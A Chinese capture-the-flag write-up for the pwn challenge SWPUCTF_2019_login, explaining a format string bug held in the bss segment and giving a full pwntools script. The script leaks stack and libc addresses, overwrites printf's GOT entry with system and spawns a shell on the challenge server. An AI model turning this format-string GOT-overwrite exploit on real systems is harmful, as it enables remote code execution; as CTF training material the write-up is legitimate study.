【Pwn】SWPUCTF_2019_login
程序员文章站
2022-03-27 20:38:16
...
例行查看程序保护。
分析程序,最里面函数存在格式化字符串漏洞。但是格式化字符串不再栈上,而在bss段上,没办法直接任意地址读写,于是动态调试观察栈上数据。
观察到fff65158指向fff65168,fff65168指向fff65178。那么就可以修改fff65168的内容,然后再观察栈上还有什么有用数据,注意到fff65160和fff65164的值离got表很近,于是想到可以修改这两个地方的后两个字节,将其指向got表,然后进行got表内容覆盖来getshell。首先用格式化字符串漏洞将fff65168改为指向fff65160和fff65164。然后分别修改为printf的got地址0x804B014以及0x804B016,然后读到printf地址,计算libc地址,计算system地址,覆盖printf got表为system,然后就可以getshell了。
from pwn import *
io=remote('node3.buuoj.cn',25849)
io.sendline('ydh')
#得到栈地址
io.recvuntil('password:')
io.sendline('%6$p') #6->10
io.recvuntil('wrong password: ')
change=(int(io.recvline()[2:],16)-4)&0xff
print(hex(change))
#将10指向9
pl1='%'+str(change)+'c'+'%6$hhn' #change 10->9
io.recvuntil('Try again!')
io.sendline(pl1)
#将9指向printf_got
pl2='%'+str(0x14)+'c'+'%10$hhn' #9->printf_got
io.recvuntil('Try again!')
io.sendline(pl2)
#将10指向8
pl1='%'+str(change-4)+'c'+'%6$hhn' #change 10->8
io.recvuntil('Try again!')
io.sendline(pl1)
#将8指向printf_got+2
pl2='%'+str(0xb016)+'c'+'%10$hn' #8->print_got+2
io.recvuntil('Try again!')
io.sendline(pl2)
#读取printf_address
io.recvuntil('Try again!')
io.sendline('%9$s')
io.recvuntil('wrong password: ')
print_add=u32(io.recv(4))
print(hex(print_add))
#计算system_address
libc_base=print_add-0x050b60
sys=libc_base+0x03cd10
print(hex(sys))
a=sys&0xffff
print(hex(a))
b=sys>>16
print(hex(b))
#将printf 覆盖为 system,getshell
pl3='%'+str(a)+'c'+'%9$hn'+'%'+str(b-a)+'c'+'%8$hn'
io.recvuntil('Try again!')
io.sendline(pl3)
io.sendline('/bin/sh')
io.interactive()
做题过程中尝试用过onegadget直接覆盖puts,但是失败了,原因未知(我太菜了)。
上一篇: 文件上传 ,图片回显
下一篇: 什么是servlet规范